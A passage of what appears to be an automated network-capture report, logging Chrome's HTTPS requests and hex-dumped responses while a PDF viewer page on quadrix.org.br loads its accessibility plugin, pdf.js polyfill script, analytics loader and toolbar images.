HbRANuYTm1JP5eAqYkUJWjZtIeroouEDF7DmlmWUlBbRtX8vNgrwy8q59JXn6G07zI+mz8RNJlGOWyAW+kKhq5BvC+r3nMyFACzbufmzK+obHwqVTdaWecnAKjcQ8wtH6TcRGQLyYUfhtmZyxTHH+U25770vEgn6QMmVuP7G7+7dkwHY0NWR39DVcf5Vk2bUjsr3jskpx6JQKqJZlPodikoUbxZAVNehqAY5fmvztkPLxk8cpbGzRBEDon4bAtr
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 65 31 66 57 52 77 67 67 69 68 74 54 55 6e 4d 55 57 6a 41 39 76 47 79 70 77 4b 6f 54 76 6e 62 68 68 46 2b 57 54 6c 2b 57 52 6d 39 65 33 66 54 73 6e 59 31 4c 39 39 2f 4c 34 4f 48 6a 57 62 4b 5a 5a 66 53 65 4f 6c 48 47 54 70 6c 4d 6c 73 66 66 35 4b 39 7a 7a 2b 48 55 31 6c 4a 54 69 78 52 6e 34 64 45 57 76 56 5a 65 38 47 59 51 4b 45 46 38 71 6b 55 2f 73 69 52 54 4c 37 73 48 78 6e 31 77 51 2b 53 55 50 44 45 70 7a 37 44 6e 6b 64 2b 7a 62 44 52 6f 39 48 46 4a 61 67 67 6f 50 76 41 41 59 35 75 33 30 46 56 33 54 67 47 4a 73 73 35 74 76 45 74 41 45 71 72 68 78 49 42 32 57 50 48 63 55 74 4c 43 62 52 43 47 59 4d 34 7a 6f 6c 57 77 6c 32 38 66 65 74 31 77 48 56 2f 66 56 58 2b 37 35 47 37 47 69 62 4d 43 73 53 2b 35 76 61 52 36 70 6b 6a 52 34 67 6c 6b 38 51 72 4b 37 46 68 Data Ascii: e1fWRwggihtTUnMUWjA9vGypwKoTvnbhhF+WTl+WRm9e3fTsnY1L99/L4OHjWbKZZfSeOlHGTplMlsff5K9zz+HU1lJTixRn4dEWvVZe8GYQKEF8qkU/siRTL7sHxn1wQ+SUPDEpz7Dnkd+zbDRo9HFJaggoPvAAY5u30FV3TgGJss5tvEtAEqrhxIB2WPHcUtLCbRCGYM4zolWwl28fet1wHV/fVX+75G7GibMCsS+5vaR6pkjR4glk8QrK7Fh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49748	18.229.86.183	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	537	OUT	GET /app/vlibras-plugin.js HTTP/1.1 Host: vlibras.gov.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	576	IN	HTTP/1.1 302 Moved Temporarily Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: text/html Content-Length: 138 Connection: close Location: https://cdn.jsdelivr.net/gh/spbgovbr-vlibras/vlibras-portal@dev/app/vlibras-plugin.js Strict-Transport-Security: max-age=15724800; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: DNT,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Authorization Access-Control-Max-Age: 1728000
2024-05-10 07:20:57 UTC	138	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49764	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	693	OUT	GET /web/compatibility.js HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	434	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: application/javascript Content-Length: 10437 Connection: close Cf-Bgj: minify Cf-Polished: origSize=18222 ETag: "80312fa431cd21:0" Last-Modified: Sun, 02 Oct 2016 00:29:03 GMT Vary: Accept-Encoding X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b6fe8048728-ORD
2024-05-10 07:20:57 UTC	935	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 63 6f 6d 70 61 74 69 62 69 6c 69 74 79 57 72 61 70 70 65 72 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 69 66 28 74 79 70 65 6f 66 20 50 44 46 4a 53 3d 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 29 7b 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 21 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 3f 77 69 6e 64 6f 77 3a 74 68 69 73 29 2e 50 44 46 4a 53 3d 7b 7d 3b 7d 0a 28 66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 54 79 70 65 64 41 72 72 61 79 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 28 29 7b 69 66 28 74 79 70 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 21 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 29 7b 69 66 28 74 79 70 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 75 62 61 72 72 61 79 3d 3d 3d 27 75 6e 64 65 66 Data Ascii: (function compatibilityWrapper(){'use strict';if(typeof PDFJS==='undefined'){(typeof window!=='undefined'?window:this).PDFJS={};}(function checkTypedArrayCompatibility(){if(typeof Uint8Array!=='undefined'){if(typeof Uint8Array.prototype.subarray==='undef
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 69 63 65 28 30 29 3b 7d 65 6c 73 65 7b 72 65 73 75 6c 74 3d 5b 5d 3b 66 6f 72 28 69 3d 30 2c 6e 3d 61 72 67 31 2e 6c 65 6e 67 74 68 3b 69 3c 6e 3b 2b 2b 69 29 7b 72 65 73 75 6c 74 5b 69 5d 3d 61 72 67 31 5b 69 5d 3b 7d 7d 0a 72 65 73 75 6c 74 2e 73 75 62 61 72 72 61 79 3d 73 75 62 61 72 72 61 79 3b 72 65 73 75 6c 74 2e 62 75 66 66 65 72 3d 72 65 73 75 6c 74 3b 72 65 73 75 6c 74 2e 62 79 74 65 4c 65 6e 67 74 68 3d 72 65 73 75 6c 74 2e 6c 65 6e 67 74 68 3b 72 65 73 75 6c 74 2e 73 65 74 3d 73 65 74 41 72 72 61 79 4f 66 66 73 65 74 3b 69 66 28 74 79 70 65 6f 66 20 61 72 67 31 3d 3d 3d 27 6f 62 6a 65 63 74 27 26 26 61 72 67 31 2e 62 75 66 66 65 72 29 7b 72 65 73 75 6c 74 2e 62 75 66 66 65 72 3d 61 72 67 31 2e 62 75 66 66 65 72 3b 7d 0a 72 65 74 75 72 6e 20 72 Data Ascii: ice(0);}else{result=[];for(i=0,n=arg1.length;i<n;++i){result[i]=arg1[i];}}result.subarray=subarray;result.buffer=result;result.byteLength=result.length;result.set=setArrayOffset;if(typeof arg1==='object'&&arg1.buffer){result.buffer=arg1.buffer;}return r
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 66 2e 76 61 6c 75 65 3b 7d 7d 3b 7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 52 65 73 70 6f 6e 73 65 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 28 29 7b 76 61 72 20 78 68 72 50 72 6f 74 6f 74 79 70 65 3d 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 2e 70 72 6f 74 6f 74 79 70 65 3b 76 61 72 20 78 68 72 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 28 29 3b 69 66 28 21 28 27 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 27 69 6e 20 78 68 72 29 29 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 78 68 72 50 72 6f 74 6f 74 79 70 65 2c 27 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 27 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 20 78 6d 6c 48 74 74 70 52 65 71 75 65 73 Data Ascii: f.value;}};})();(function checkXMLHttpRequestResponseCompatibility(){var xhrPrototype=XMLHttpRequest.prototype;var xhr=new XMLHttpRequest();if(!('overrideMimeType'in xhr)){Object.defineProperty(xhrPrototype,'overrideMimeType',{value:function xmlHttpReques
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 6f 77 29 7b 72 65 74 75 72 6e 3b 7d 0a 76 61 72 20 64 69 67 69 74 73 3d 27 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 27 3b 77 69 6e 64 6f 77 2e 62 74 6f 61 3d 66 75 6e 63 74 69 6f 6e 20 77 69 6e 64 6f 77 42 74 6f 61 28 63 68 61 72 73 29 7b 76 61 72 20 62 75 66 66 65 72 3d 27 27 3b 76 61 72 20 69 2c 6e 3b 66 6f 72 28 69 3d 30 2c 6e 3d 63 68 61 72 73 2e 6c 65 6e 67 74 68 3b 69 3c 6e 3b 69 2b 3d 33 29 7b 76 61 72 20 62 31 3d 63 68 61 72 73 2e 63 68 61 72 43 6f 64 65 41 74 28 69 29 26 30 78 46 46 3b 76 61 72 20 62 32 3d 63 68 61 72 73 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 31 29 26 30 78 46 46 3b 76 61 72 Data Ascii: ow){return;}var digits='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';window.btoa=function windowBtoa(chars){var buffer='';var i,n;for(i=0,n=chars.length;i<n;i+=3){var b1=chars.charCodeAt(i)&0xFF;var b2=chars.charCodeAt(i+1)&0xFF;var
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 68 65 63 6b 44 61 74 61 73 65 74 50 72 6f 70 65 72 74 79 28 29 7b 76 61 72 20 64 69 76 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 64 69 76 27 29 3b 69 66 28 27 64 61 74 61 73 65 74 27 69 6e 20 64 69 76 29 7b 72 65 74 75 72 6e 3b 7d 0a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2c 27 64 61 74 61 73 65 74 27 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 5f 64 61 74 61 73 65 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 64 61 74 61 73 65 74 3b 7d 0a 76 61 72 20 64 61 74 61 73 65 74 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 6a 3d 30 2c 6a 6a 3d 74 68 69 73 2e 61 74 74 72 69 62 75 74 65 73 2e 6c 65 6e Data Ascii: tion checkDatasetProperty(){var div=document.createElement('div');if('dataset'in div){return;}Object.defineProperty(HTMLElement.prototype,'dataset',{get:function(){if(this._dataset){return this._dataset;}var dataset={};for(var j=0,jj=this.attributes.len
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 5f 63 6c 61 73 73 4c 69 73 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 63 6c 61 73 73 4c 69 73 74 3b 7d 0a 76 61 72 20 63 6c 61 73 73 4c 69 73 74 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 63 6c 61 73 73 4c 69 73 74 50 72 6f 74 6f 74 79 70 65 2c 7b 65 6c 65 6d 65 6e 74 3a 7b 76 61 6c 75 65 3a 74 68 69 73 2c 77 72 69 74 61 62 6c 65 3a 66 61 6c 73 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 74 72 75 65 7d 7d 29 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 68 69 73 2c 27 5f 63 6c 61 73 73 4c 69 73 74 27 2c 7b 76 61 6c 75 65 3a 63 6c 61 73 73 4c 69 73 74 2c 77 72 69 74 61 62 6c 65 3a 66 61 6c 73 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 66 61 6c 73 65 7d 29 3b 72 Data Ascii: {get:function(){if(this._classList){return this._classList;}var classList=Object.create(classListPrototype,{element:{value:this,writable:false,enumerable:true}});Object.defineProperty(this,'_classList',{value:classList,writable:false,enumerable:false});r
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 2e 63 61 6c 6c 28 77 69 6e 64 6f 77 2e 48 54 4d 4c 45 6c 65 6d 65 6e 74 29 2e 69 6e 64 65 78 4f 66 28 27 43 6f 6e 73 74 72 75 63 74 6f 72 27 29 3e 30 3b 76 61 72 20 72 65 67 65 78 3d 2f 41 6e 64 72 6f 69 64 5c 73 5b 30 2d 32 5d 5b 5e 5c 64 5d 2f 3b 76 61 72 20 69 73 4f 6c 64 41 6e 64 72 6f 69 64 3d 72 65 67 65 78 2e 74 65 73 74 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 3b 76 61 72 20 69 73 43 68 72 6f 6d 65 57 69 74 68 52 61 6e 67 65 42 75 67 3d 2f 43 68 72 6f 6d 65 5c 2f 28 33 39 7c 34 30 29 5c 2e 2f 2e 74 65 73 74 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 3b 69 66 28 69 73 53 61 66 61 72 69 7c 7c 69 73 4f 6c 64 41 6e 64 72 6f 69 64 7c 7c 69 73 43 68 72 6f 6d 65 57 69 74 68 52 61 6e 67 65 42 75 67 29 7b 50 44 46 Data Ascii: .call(window.HTMLElement).indexOf('Constructor')>0;var regex=/Android\s[0-2][^\d]/;var isOldAndroid=regex.test(navigator.userAgent);var isChromeWithRangeBug=/Chrome\/(39\|40)\./.test(navigator.userAgent);if(isSafari\|\|isOldAndroid\|\|isChromeWithRangeBug){PDF
2024-05-10 07:20:57 UTC	1288	IN	Data Raw: 61 67 65 44 61 74 61 3d 63 72 65 61 74 65 49 6d 61 67 65 44 61 74 61 2e 63 61 6c 6c 28 74 68 69 73 2c 77 2c 68 29 3b 69 6d 61 67 65 44 61 74 61 2e 64 61 74 61 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 61 72 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 30 2c 69 69 3d 74 68 69 73 2e 6c 65 6e 67 74 68 3b 69 3c 69 69 3b 69 2b 2b 29 7b 74 68 69 73 5b 69 5d 3d 61 72 72 5b 69 5d 3b 7d 7d 3b 72 65 74 75 72 6e 20 69 6d 61 67 65 44 61 74 61 3b 7d 3b 63 6f 6e 74 65 78 74 50 72 6f 74 6f 74 79 70 65 3d 6e 75 6c 6c 3b 7d 7d 7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 52 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 29 7b 66 75 6e 63 74 69 6f 6e 20 66 61 6b 65 52 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 63 61 6c 6c 62 61 Data Ascii: ageData=createImageData.call(this,w,h);imageData.data.set=function(arr){for(var i=0,ii=this.length;i<ii;i++){this[i]=arr[i];}};return imageData;};contextPrototype=null;}}})();(function checkRequestAnimationFrame(){function fakeRequestAnimationFrame(callba

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49765	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	721	OUT	GET /cdn-cgi/apps/body/6ps6-p5y2d01PkUzqq17Wmg4RqQ.js HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	551	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close x-amz-id-2: n0l9pX44NHE/Yr182f6KbQKWlnfEkTEGr0IcVXNndGqKyZc3VFHV+GNBVKkgcKZeQtkzRDbTIpU= x-amz-request-id: 6V7MMH04BS1Y8CKA Cache-Control: public, max-age=31536000 Last-Modified: Mon, 12 Jul 2021 13:19:48 GMT x-amz-version-id: hEavENSqsk6wdXK4mE9E6rzq0dkcTCmJ ETag: W/"01f23bcf96499eff83da834cf01ef1c3" CF-Cache-Status: HIT Age: 5147530 Server: cloudflare CF-RAY: 88182b6ffe24113f-ORD
2024-05-10 07:20:57 UTC	454	IN	Data Raw: 31 62 66 0d 0a 3b 69 66 28 43 6c 6f 75 64 66 6c 61 72 65 41 70 70 73 2e 6d 61 74 63 68 50 61 67 65 28 43 6c 6f 75 64 66 6c 61 72 65 41 70 70 73 2e 69 6e 73 74 61 6c 6c 73 5b 27 35 63 4a 45 6b 71 7a 71 6b 77 4f 7a 27 5d 2e 55 52 4c 50 61 74 74 65 72 6e 73 29 29 7b 21 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 7c 7c 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 62 6f 64 79 22 29 3b 69 66 28 74 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 61 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 6d 2e 6a 73 3f 69 64 3d 22 2b 43 6c 6f 75 Data Ascii: 1bf;if(CloudflareApps.matchPage(CloudflareApps.installs['5cJEkqzqkwOz'].URLPatterns)){!function e(){var t=document.body\|\|document.querySelector("body");if(t){var a=document.createElement("script");a.src="https://www.googletagmanager.com/gtm.js?id="+Clou
2024-05-10 07:20:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49766	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	617	OUT	GET /web/images/texture.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	408	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: image/png Content-Length: 2417 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: status=not_needed ETag: "8093132c441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:27 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b71593260ab-ORD
2024-05-10 07:20:57 UTC	961	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 03 00 00 00 9d b7 81 ec 00 00 00 ae 50 4c 54 45 00 00 00 2c 2c 2c 18 18 18 32 32 32 2e 2e 2e 14 14 14 25 25 25 1c 1c 1c 34 34 34 3f 3f 3f 27 27 27 1a 1a 1a 30 30 30 21 21 21 1f 1f 1f 29 29 29 36 36 36 23 23 23 39 39 39 0d 0d 0d 3b 3b 3b 16 16 16 3d 3d 3d 41 41 41 46 46 46 11 11 11 4a 4a 4a 48 48 48 0f 0f 0f 0b 0b 0b 07 07 07 4c 4c 4c 09 09 09 44 44 44 04 04 04 4e 4e 4e 57 57 57 51 51 51 5e 5e 5e 02 02 02 55 55 55 5c 5c 5c 53 53 53 59 59 59 60 60 60 62 62 62 69 69 69 6d 6d 6d 64 64 64 71 71 71 66 66 66 6f 6f 6f 76 76 76 78 78 78 6b 6b 6b 85 85 85 74 74 74 7a 7a 7a 27 eb d9 00 00 00 00 3a 74 52 4e 53 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f Data Ascii: PNGIHDR@@PLTE,,,222...%%%444???'''000!!!)))666###999;;;===AAAFFFJJJHHHLLLDDDNNNWWWQQQ^^^UUU\\\SSSYYY```bbbiiimmmdddqqqfffooovvvxxxkkktttzzz':tRNS
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 22 b2 26 d5 be 80 f2 4e 3d 69 a1 e3 45 43 44 03 a4 c2 08 cf 8e f4 9b dc c2 ac a3 05 29 d3 76 70 da 0f 09 0d 67 55 74 77 c7 26 a3 af 2b 92 cd 55 f0 b9 93 e9 35 a0 fa 18 59 32 aa 9c a5 82 3d be f2 07 0c 12 8f 2f de 9e 4a 80 f1 5f 89 44 ac e0 0c 23 c2 a1 5a 72 ea 70 b8 d2 89 e3 bc 0c b0 af 7e d9 9f 2b be d3 a7 9c 8c 18 bd b4 aa a6 6d b0 f5 ab 0e b4 f9 4f 01 8f 13 17 59 06 84 87 b0 59 4b 3c 2e f4 a4 e0 a9 94 8b 38 3d f7 ae c0 4f d3 b1 a3 25 a4 b2 70 80 6e 5d df 5c 24 4c 0f 92 82 93 4a d9 1d ba 6e a5 25 06 df 1e 40 23 b0 7e 48 93 eb a9 5f 59 3d be 02 98 f8 f9 71 33 86 29 50 14 5d 06 72 b3 20 2a 54 bd d4 61 fd 47 4f 26 f1 ab 32 bf ae dd 83 56 99 20 ba 94 25 a2 fd 3e a9 fa 09 b5 60 bb 4b d2 8f c4 0e 24 25 9b 1c ee ab 1a c3 1c 13 7d 3c ce 82 c7 4d 51 0f 96 8f 8c Data Ascii: "&N=iECD)vpgUtw&+U5Y2=/J_D#Zrp~+mOYYK<.8=O%pn]\$LJn%@#~H_Y=q3)P]r *TaGO&2V %>`K$%}<MQ
2024-05-10 07:20:57 UTC	87	IN	Data Raw: 31 dc 54 03 09 0a 0f 05 00 2d 5d db 46 13 37 a2 94 04 68 48 d9 02 2a 56 04 8f 54 27 94 47 23 da ba d3 5e e5 1a 98 36 ee 3c 57 16 4d 8b c6 e3 b7 53 5e 23 80 3f 5a f2 ab 96 bd 3c 03 ec 4e c0 17 2d fb 7f 26 4d 0d cc da 4c 0f 64 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 1T-]F7hH*VT'G#^6<WMS^#?Z<N-&MLdIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49767	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	637	OUT	GET /web/images/toolbarButton-viewThumbnail.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	402	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: image/png Content-Length: 168 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=185 ETag: "80ce6b34441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:41 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b716c4186d4-ORD
2024-05-10 07:20:57 UTC	168	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 6f 49 44 41 54 78 da 8d d0 b1 09 80 40 10 44 d1 69 49 2b b0 57 8d b4 80 33 15 11 0c 04 63 03 41 44 84 53 b0 85 31 b8 c3 05 99 e0 e6 47 2f 5a 58 24 8c 8e 4f ac 55 06 4f 1e b1 53 19 dc 2d 65 70 b3 94 c1 d5 52 c6 e5 b8 84 6e a7 0c 64 28 62 b9 70 c2 58 7f 37 1b 65 70 e6 14 9b 95 c1 d1 52 06 07 4b 19 ec 2d 65 f8 92 5d c8 57 7f 27 fc e1 05 34 e6 0a 04 76 86 54 39 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7oIDATx@DiI+W3cADS1G/ZX$OUOS-epRnd(bpX7epRK-e]W'4vT9IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49768	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	637	OUT	GET /web/images/toolbarButton-sidebarToggle.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
